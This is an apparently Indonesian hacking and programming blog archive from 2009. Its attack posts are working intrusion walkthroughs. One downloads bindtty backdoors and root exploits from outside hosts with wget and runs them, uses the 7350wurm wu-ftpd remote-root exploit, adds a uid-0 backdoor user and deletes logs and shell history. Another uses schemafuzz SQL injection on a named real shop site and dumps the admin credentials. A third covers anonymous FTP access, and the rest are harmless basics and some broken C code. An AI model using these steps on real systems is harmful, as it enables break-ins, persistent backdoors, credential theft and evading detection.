-=adulhere=-

FTP Attack

abecummy — Sun, 08 Nov 2009 04:58:09 +0000

FTP (singkatan dari File Transfer Protocol) adalah sebuah protokol Internet yang berjalan di dalam lapisan aplikasi yang merupakan standar untuk pentransferan berkas (file) komputer antar mesin-mesin dalam sebuah internetwork.

Sebenernya ini tekhnik untung-untungan, memanfaatkan kelalaian admin situs atau penyedia hosting yang memungkinkan pengguna anonymous di ijinkan mengakses FTP..

ok, langsung aja, silahkan coba :

1. Run >> CMD
2. Ketik ftp situstarget.com
3. jika beruntung akan muncul tulisan seperti berikut :

Connected to situstarget.com.
220———- Welcome to PureFTPd 1.0.12 ———-
220-You are user number 2 of 50 allowed.
220-Local time is now 15:21 and the load is 0.03. Server port: 21.
220 You will be disconnected after 15 minutes of inactivity.
User (situstarget.com:(none)):

Tapi jika tidak beruntung maka akan muncul tulisan seperti ini :
b.

Connected to situstarget.com.
220———- Welcome to Pure-FTPd [TLS] ———-
220-You are user number 1 of 50 allowed.
220-Local time is now 21:31. Server port: 21.
220-This is a private system – No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 30 minutes of inactivity.
User (situstarget.com:(none)):

atau

Connected to situstarget.com.
220 ProFTPD 1.3.1 Server (Debian) [::ffff:119.235.18.72]
User (situstarget.com:(none)):

Apa bedanya pesan tersebut..?
a. = Mengijinkan pengguna anonymous mengakses FTP
b. dan c. = Tidak di ijinkan

4. Nah kalau yang muncul adalah pesan yang pertama, maka kamu cukup mengetikan “anonymous” sebagai username lalu enter.

Connected to situstarget.com.
220———- Welcome to PureFTPd 1.0.12 ———-
220-You are user number 2 of 50 allowed.
220-Local time is now 15:21 and the load is 0.03. Server port: 21.
220 You will be disconnected after 15 minutes of inactivity.
User (situstarget.com:(none)): anonymous
331 Any password will work
Password:
230 Any password will work

pada pesan tersebut terdapat pesan “Any password will work” pasti dah tau artinya kan..?

Sekarang kamu memiliki akses FTP, dan untuk melihat command apa aja yang tersedia, kam bisa mengetikan help.

Semoga bermanfaat..

Shell,BackDoor Web Attack

abecummy — Fri, 06 Nov 2009 18:47:41 +0000

cara bermain di shell target
=====================
install shell php
=====================
###contohnya
http://livron.port5.com/mail.php gcc -o phnxscan phnxscan.c
myshell~> ping -c 2 target.com
PING target.com (210.189.77.28): 56 data bytes
64 bytes from 210.189.77.28: icmp_seq=0 ttl=38 time=428.044 ms
64 bytes from 210.189.77.28: icmp_seq=1 ttl=38 time=428.624 ms
— target.com ping statistics —
2 packets transmitted, 2 packets received, 0.0% packet loss
round-trip min/avg/max/std-dev = 428.044/428.334/428.624/0.290 ms
myshell~> phnxscan -p 4000 -s 210.189.77.28
port 4000 (tcp) terbuka
Telnet server target port 4000, jika berhasil maka anda akan disuruh memasukkan
password yang default dari scriptnya changeme
myshell~> telnet 210.189.77.28 4000
Trying 210.189.77.28…
Connected to target.com (210.189.77.28).
Escape character is ‘^]’.
—————————————————
#### cd /var/tmp ; wget www.geocities.com/lifron/bindtty -O /tmp/httpd ini biar hasil wgetnya di taro di folder /tmp dg nama file httpd
baru bikin file exekusi
chmod 755 /tmp/httpd
—————————————————-
#### cd /var/tmp ; wget www.renjana.ws/~toa/bindtty
cd /var/tmp ; chmod 755 bindtty
cd /var/tmp ; ./bindtty
—————————————————-
# test pake `uname -a` masukkan host > pilih telnet > isi port: 1980
# klo sukses maka akan masuk shell

### pake bind yg laen jika pengen shellnya ada passwd-nya
cd /var/tmp; wget geocities.com/pothei/nmap;chmod 755 nmap; ./nmap
# telnet ke host port 6665 passwd `stimik`

## cd /tmp; wget http://geocities.com/g4ptek/tools/bind.tgz
tar -zxvf bind.tgz;cd .bind; chmod 755 bindtty; ./dssl bindtty
telnet ke host port 6665 passwd `gagal`

## cd /var/tmp; wget http://geocities.com/g4ptek/tools/dns.php
# chmod 755 dns; ./dns
# telnet www.target.com 6029

-*——————-*-
-*- belajar NgeRoot -*-
-*——————-*-

### tahap ngeroot di shell yg tadi kita tembus
mkdir /tmp/temp.log
cd /tmp/temp.log
wget http://roseofworld.org/root.tar.gz
tar -zxvf root.tar.gz
cd root
./loginx 1970 1970
# jika tidak mendapat pesan error maka kmu sukses, pointer $ akan brubah menjadi #
# cek dengan `id` jika root jgn lupa bagi2 shellnya :p
### atau bisa ambil exploit di www.malanghack.net/alat/
mkdir /tmp/temp.log;cd /tmp/temp.log
wget http://www.malanghack.net/alat/w00t
chmod 755 w00t
./w00t
# jika ga muncul pesan error: you got root man!!
+—————————————————————————————-+

-*—————–*-
-*- Cracking Root -*-
-*—————–*-
Tips:
mkdir .bash <— untuk membuat direktori bash
cd .bash <— untuk masuk ke direktori bash
mkdir <— untuk membuat direktory baru
cd <— untuk masuk ke direktory yg anda mau
cd / <— untuk keluar dari suatu direktory
rm -rf <— untuk menghapus file/direktory
-*———————————————–*-
1. Tahap Pertama :
Cara instalasi Xpost dan ftp

wget http://cyberborneo.b0x.com/xpost.tgz
wget http://cyberborneo.b0x.com/ftp.tgz
tar -zxvf xpost.tgz
tar -zxvf ftp.tgz

-*——*-

2. Tahap Kedua
cd xpost
cd xwurm/
./scan 213.124
setelah dapat wu-scan.log
./masswu wu-scan.log
Setelah didapat pesan sebagai berikut

Trying get root 213.124.151.113 …
SUCCESS, YOU HAVE ROOT IN 213.124.151.113 …
Logged in log-root …

Itu berarti anda telah dapat akses root di IP 213.124.151.113

-*——*-

3. Tahap Ketiga
Buka new sessiom dari putty ssh anda, login kembali ke shell anda

masuk ke direktory ftp anda

cd ftp
./awu 213.124.151.113 ( ip nya)

apabila anda sukses mendapat akses root nya maka akan keluar pesan sbb:

7350wurm – x86/linux wuftpd <= 2.6.1 remote root (version 0.2.2)
team teso (thx bnuts, tomas, synnergy.net !).

# trying to log into 213.124.151.113 with (ftp/mozilla@) … connected.
# banner: 220 db-depot01 FTP server (Version wu-2.6.1-16) ready.
# successfully selected target from banner

### TARGET: RedHat 7.1 (Seawolf) [wu-ftpd-2.6.1-16.rpm]

# 1. filling memory gaps
# 2. sending bigbuf + fakechunk
building chunk: ([0x0807314c] = 0x08085f98) in 238 bytes
# 3. triggering free(globlist[1])
#
# exploitation succeeded. sending real shellcode
# sending setreuid/chroot/execve shellcode
# spawning shell
###################################################################

uid=0(root) gid=0(root) groups=50(ftp)
Linux db-depot01 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 unknown

whoami

root <– berarti anda sedang dalam akses root

-*——*-

4. Tahap Keempat

Add login akses root anda
—————————————————————-

1. Cara I

(bukan utk redhat 7.2)
/usr/sbin/useradd rampok -u 0 -d /

passwd -d rampok
passwd rampok

su rampok < ./setup wuasu 7000
cd /

wget http://cyberborneo.b0x.com/cleaner.tgz
tar -zxvf cleaner.tgz
cd cleaner
./install

Jangan lupa untuk menghapus file backdor anda tadi untuk menghapus jejak

rm -rf cleaner.tgz

rm -rf shv4.tar.gz

-*——*-

6. Tahap Keenam

Hapus jejak ngeroot anda ketik perintah berikut:

rm -f /.bash_history /root/.bash_history /var/log/messages
ln -s /devory
ln -s /dev/null /root/.bash_history
touch /var/log/messages
chmod 600 /var/log/messages
rm -rf /var/log/lastlog
cat > /var/log/lastlog
ctrl d

SELESAI…..

Pacth SQL Injection

abecummy — Tue, 03 Nov 2009 04:39:23 +0000

Sering kali masih kita liat banyak web site di sekitar kita masih vulnerable SQL injection.untuk menghindari website kita agar tidak di rusak oleh attacker lebih baiknya kita belajar mem Pacth web biar tidak bisa di inject SQL injection

Contoh :

http://www.Target.com.my/newsupdate.php?ID=25′

Dengan cara memasukkan quote (‘) pada akhir url kita mendapatkan error dam mengeluarkan error sekarang kita tau bahwa file yang bermasalah ada di newsupdate.php dengan inputan “id“.

soure code yg belum di filter

if($ID)
{
$sql = “SELECT * FROM News “;
$sql .= “WHERE News_ID = $ID”;
}
else
{
$sql = “SELECT * FROM News “;
$sql .= “ORDER BY News_ID DESC LIMIT 0,1″;
}

coba perhatikan source di atas tidak ada filter sehingga attacker bisa meng inject melalui input “$ID”.

Ada beberapa cara untuk patch bug SQLI, yaitu dengan memfilter karakter, maupun membatasi length pada input.
Beberapa perintahnya antara lain

1. biar cuman angka yg bisa di input
if (!preg_match(”/^[0-9]+$/”, $ID))
{
command;
}

2.Supaya gak ada nilai minus pada input
if ($ID 3)
{
command;
}
atau dengan fungsi boolean is numeric (angka)

if( !is_numeric( $_GET['id'] ) ) {

return( false );

}

Schemafuzz

abecummy — Sun, 01 Nov 2009 05:03:09 +0000

Bahan-bahan yg harus disiapkan :
1.Python , donlot di http://www.python.org/ftp/python/2.5/python-2.5.msi
2.Schemafuzz >>> http://darkc0de.com/others/schemafuzz.py
3.CMD

Gunakan CMD , masuk ke folder schemafuzz.py
Dengan perintah >> schemafuzz.py -u “target” –perintah
Utk lebih jelasnya,,langsung ke TKP ,, wkwkwkwk
1.Cari target ,, ini target kita >>>

http://www.sleeppost.com/viewproduct.php?pid=923

2.Cek columnnya
schemafuzz.py -u “http://www.sleeppost.com/viewproduct.php?pid=923″ –findcol

maka akan keluar :

+] URL: http://www.sleeppost.com/viewproduct.php?pid=923–
+] Evasion Used: “+” “–”
+] 09:44:10
-] Proxy Not Given
+] Attempting To find the number of columns…
+] Testing: 0,1,2,3,4,5,6,
+] Column Length is: 7
+] Found null column at column #: 0
+] SQLi URL: http://www.sleeppost.com/viewproduct.php?pid=923+AND+1=2+UNION+SEL
CT+0,1,2,3,4,5,6–
+] darkc0de URL: http://www.sleeppost.com/viewproduct.php?pid=923+AND+1=2+UNION
SELECT+darkc0de,1,2,3,4,5,6
-] Done!

Nah kita gunakan ini http://www.sleeppost.com/viewproduct.php?pid=923+AND+1=2+UNION+
SELECT+darkc0de,1,2,3,4,5,6 utk nginject.

3.Cari db nya
schemafuzz.py -u “http://www.sleeppost.com/viewproduct.php?pid=923+AND+1=2+UNION+
SELECT+darkc0de,1,2,3,4,5,6″ –dbs

[+] URL: http://www.sleeppost.com/viewproduct.php?pid=923+AN … NION+SELECT+d
arkc0de,1,2,3,4,5,6–
[+] Evasion Used: “+” “–”
[+] 09:56:47
[-] Proxy Not Given
[+] Gathering MySQL Server Configuration…
Database: sleeppo_store
User: sleeppo_admin@web.readyserver.net
Version: 5.0.67-log
[+] Showing all databases current user has access too!
[+] Number of Databases: 1

[0] ??sleeppo_store?

[-] 09:57:00
[-] Total URL Requests 3
[-] Done

Tuh kan keliatan db nya,,wkwkwkkw sleeppo_store

4.Cari nama tabel dalam db
schemafuzz.py -u “http://www.sleeppost.com/viewproduct.php?pid=923+AND+1=2+UNION+
SELECT+darkc0de,1,2,3,4,5,6″ –schema -D sleeppo_store

[+] URL: http://www.sleeppost.com/viewproduct.php?pid=923+AN … NION+SELECT+d
arkc0de,1,2,3,4,5,6–
[+] Evasion Used: “+” “–”
[+] 10:02:56
[-] Proxy Not Given
[+] Gathering MySQL Server Configuration…
Database: sleeppo_store
User: sleeppo_admin@web.readyserver.net
Version: 5.0.67-log
[+] Showing Tables & Columns from database “sleeppo_store”
[+] Number of Tables: 20

[Database]: sleeppo_store
[Table: Columns]

[0]advertisement: id,image,url
[1]brands: name
[2]category: cid,parent,name
[3]config: adminemail1,adminemail2,adminemail3,salesemail,enquiryemail,adminlogi
n,adminpassword,orderemailsubject,orderemailheader,orderemailfooter,orderwebhead
er,orderwebfooter,sms
[4]emailgroup: gid,name
[5]emailgroupmember: gid,email
[6]emails: email,name
[7]faqreply: fid,faqquestion,faqanswer,fdate
[8]faqrequest: fid,email,faqquestion,fdate,status,name,contact
[9]news: nid,title,detail,ndate,link_cid,link_pid,active
[10]orderitem: ordernum,pid,pname,vid,brand,variance,price,sellprice,discount,qty,type
[11]orders: ordernum,name,email,contact,address,status,country,ddate,dname,demai
l,dcontact,daddress,dcountry,paytype,worldpayid,ttime,remarks,refno,deliverydate
,deliverytime,paymentmode,remarks2
[12]outlet: outlet_id,outlet_name,outlet_address,outlet_tel
[13]product: pid,cid,brand,name,pno,detail,recommend
[14]productrel: pid,vtype,variance
[15]productvariance: vid,pid,variance,thick,vtype,vno,detail,price,sellprice,firm,colour
[16]promotionitems: id,promotion_id,item_type,cid,brand,pid,vid,discount,rating
[17]promotions: promotion_id,title,detail,startdate,enddate
[18]users: uid,name,email,contact,address
[19]warranty: wid,name,address,email,submitdate,date,invoice,model,size,period,s
urvey,qty

[-] 10:24:51
[-] Total URL Requests 139
[-] Done

Berarti itu site punya 20 tabel,kolomnya juga ada tuh.Tinggal pilih yg mana yg mau di exploit 10

5.Exploit tabel n kolom
schemafuzz.py -u “http://www.sleeppost.com/viewproduct.php?pid=923+AND+1=2+UNION+
SELECT+darkc0de,1,2,3,4,5,6″ –dump -D sleeppo_store -T config -C adminlogin,adminpassword

[+] URL: http://www.sleeppost.com/viewproduct.php?pid=923+AN … NION+SELECT+d
arkc0de,1,2,3,4,5,6–
[+] Evasion Used: “+” “–”
[+] 10:36:59
[-] Proxy Not Given
[+] Gathering MySQL Server Configuration…
Database: sleeppo_store
User: sleeppo_admin@web.readyserver.net
Version: 5.0.67-log
[+] Dumping data from database “sleeppo_store” Table “config”
[+] and Column(s) ['adminlogin', 'adminpassword']
[+] Number of Rows: 3

[0] liphong:16a8c2870e2d639a58e46bfd58ff9c5c:NoDataInColumn:
[1] No data
[2] No data
[3] No data

[-] 10:37:36
[-] Total URL Requests 5
[-] Done

xixixi…itu user ama passnya udah kliatan,,passnya tgl di decrypt aje 3

Cara diatas berlaku untuk sql versi 5 , utk versi 4 gunakan perintah –fuzz untuk menemukan nama tabel n kolom

ex : schemafuzz.py -u “http://www.sleeppost.com/viewproduct.php?pid=923+AND+1=2+UNION+
SELECT+darkc0de,1,2,3,4,5,6″ –fuzz

Beberapa perintah :
–fuzz >>> mencari nama kolom n tabel pada sql v 4
–schema >>> melihat nama tabel
–dump >>> melihat isi kolom
–findcol >>> menemukan dakc0de ( colom )

Silahkan cari yg laen.Baca aja help nya

By BobyHikaru

Topologi PaiNet

abecummy — Thu, 29 Oct 2009 16:50:27 +0000

Dalam topologi star, semua kabel dihubungkan dari komputer-komputer ke lokasi pusat (central location), dimana semuanya terhubung ke suatu alat yang dinamakan hub.

Topologi star digunakan dalam jaringan yang padat, ketika endpoint dapat dicapai langsung dari lokasi pusat, kebutuhan untuk perluasan jaringan, dan membutuhkan kehandalan yang tinggi. Topologi ini merupakan susunan yang menggunakan lebih banyak kabel daripada bus dan karena semua komputer dan perangkat terhubung ke central point. Jadi bila ada salah satu komputer atau perangkat yang mengalami kerusakan maka tidak akan mempengaruhi yang lainnya (jaringan).

Setiap komputer dalam jaringan bintang berkomunikasi dengan central hub yang mengirimkan kembali pesan ke semua komputer (dalam broadcast star network) atau hanya ke komputer yang dituju (dalam switched star network). Hub dalam broadcast star network dapat menjadi aktif ataupun pasif. Active hub memperbaharui sinyal elektrik yang diterima dan mengirimkannya ke semua komputer yang terhubung ke hub. Hub tipe tersebut sering disebut juga dengan multiport repeater. Jika kita menggunakan hub memiliki 32 port, dengan seluruh port terisi, maka collision akan sering terjadi yang akan mengakibatkan kinerja jaringan menurun. Untuk menghindari hal tersebut kita bisa menggunakan switch yang memiliki kemampuan untuk menentukan jalur tujuan data. Active hub dan switch membutuhkan tenaga listrik untuk menjalankannya. Pasisive hub, seperti wiring panel atau blok punch-down, hanya berfungsi sebagai titik koneksi (connection point) dan tidak melakukan penguatan sinyal atau memperbaharui sinyal. Passive hub tidak membutuhkan tenaga listrik untuk menjalankannya.

Kelebihan Dalam Topologi Star

Cukup mudah untuk mendeteksi kerusakan komputer dalam jaringan berTopologi Star
Jika menambahkan Komputer dalam topologi Star tidak akan mengganggu operasi komputer dalam jaringan.
dapat memakai macam-macam kabel koneksi dari perangkat HUB ke Komputer.

Kekurangan Dalam Topologi Star

Jika dapat kerusakan kerusakan pada HUB maka semua komputer dalam jaringan akan mengalami kegagalan untuk beroperasi
Memerlukan alat pada central point untuk mem-broadcast ulang atau pergantian traffic jaringan (switch network traffic)
Membutuhkan kabel UTP untuk menghbungkan setiap komputer ke Perangkat HUB

Resume #4 Brainware

abecummy — Thu, 29 Oct 2009 16:26:05 +0000

Brainware adalah bagian penting dari sebuah system komputasim perangkat keras tidak dapat berkerja tanpa perangkat lunak, sementara perangkat lunak dan perangkat keras memerlukan brainware untuk menjalankannya.

Secara harafiah, brainware dapat diartikan sebagai perangkat intelektual (dalam hall ini otak manusia) yang mengoperasikan dan mengeksplorasi kemampuan dari perangkat keras dan lunak yang ada.

Ada beberapa jabatan yang disandangkan pada brainware sesuai fungsi masing-masing, diantaranya:

· Programer

Merupakan orang yang membuat sebuah aplikasi dengan bantuan tool(alat) programming yang tersedia

· System Analyst

Merupakan orang yang mempelajari sebuah proses bisnis yang menuangkannya dalam sebuah rancangan system sehingga setiap proses bisnis yang terjadi dapat diwujudkan dalam system komputerisasi yang terintegtrasi.

· System Adminestraror

Merupakan orang yang bertugas untuk mengelola sebuah system koputer yang dirancang oleh sytem analyst dan dibuat oleh programmer.

· Database Administrator

Orang yang mengelola sebuah system database

· Database Engineer

Merupakan orang orang yang merancang sebuah system data base sehingga system ini dapat mengakomodir kebutuhan akan pegolahan data, baik saat ini maupun yang akan datang

· System Integrator

Merupakan orang yang membangun system computer yang telah dirancang oleh sytem analyst yang mengintegrasikan system yang mungkin akan dibangun kemudian hari.

· Newtork Designer

Orang yang merancang sebuah sestem jaringan computer untuk menghasilkan sebuah jaringan computer yang efektif dan efisien dalam hal peforma pertukaran data dan beban pengeluaran untuk membangunya.

· Network Engineer
· Merupakan orang yang merancang teknik-teknik baru dsalam bidang networking, orang ini bertanggung jawab untuk mengembangkan metode-metode baru untuk menghasilkan sesuatu yang berguna untuk bidang networking.
· Software Engineer

Merupakan orang yang bertanggung jawab untuk mengembangkan metode dan teknik-teknik baru dalam pembuatan sebuah perangkat lunak (aplikasi, driver, Sistem operasi)

· Hardware Engineer

Orang yang bertangung jawab untuk mengembangakan metode dan teknik-teknik terbaru dalam pembuatan sebuah perangkat keras sehingga muncul sebuah produk baru dengan teknologi yang lebih dari sebelumnya.

· System Auditor

Merupakan orang yang bertugas mengaudit sebuah system komputerisasi dan menemukan kelemahan-kelemahan dari sebuah system komputerisasi, sehingga hasil audit itu dapat digunakan untuk mengembangakan system yang ada menjadi lebh sempurna lagi.

· Pengguna (user)

Orang yang mengunakan system computer yang ada.

Syntak dasar looping

abecummy — Wed, 21 Oct 2009 17:17:24 +0000

syntak dasar looping pake for:

#include

int main() {
int n;
for( n =0; n <= 10;n++) {
printf (n);
}

syntak dasar looping pake while:

#include

int main() {

int n;
while n < 10 {

printf(n);

n++
}

C++ #Mencari Kelipatan 9 bukan Genap

abecummy — Mon, 19 Oct 2009 03:09:36 +0000

#include
using namespace std;

int main()
{

for (int i=9 ; i<=100 ; i+=9){
if ((i%2) != 0){
cout << i << “, “;
}
}

cin.get();

system(“pause”);

return 0;
}

C++ #Mencari Bilangan Prima

abecummy — Mon, 19 Oct 2009 03:06:23 +0000

#include

using namespace std;

int main()

{

int test=0;

for (int i=2 ; i <= 100 ; i++){

for (int j=1 ; j <= i ; j++){

if ((i % j) == 0){

test++;

}

if (test == 2){

cout << i << “, “;

}

test = 0;

}

cin.get();

system(“pause”);

return 0;

}

#include

using namespace std;

int main()

{

int test=0;

for (int i=2 ; i <= 100 ; i++){

for (int j=1 ; j <= i ; j++){

if ((i % j) == 0){

test++;

}

if (test == 2){

cout << i << “, “;

}

test = 0;

}

cin.get();

system(“pause”);

return 0;

}

C++ #Menghitung Keliling Lingkaran

abecummy — Mon, 19 Oct 2009 03:03:58 +0000

#include
using namespace std;

int main()
{
float jari;
float phi = 22.0/7;

cout << “Menghitung Keliling Lingkaran” << endl;
cout << “========================” << endl << endl;
cout << “Inputkan Nilai Jari – Jari : “;
cin >> jari;

float keliling = 2 * phi * jari;

cout << endl << “Keliling Lingkaran = ” << keliling;

cin.get();

system(“pause”);
return 0;
}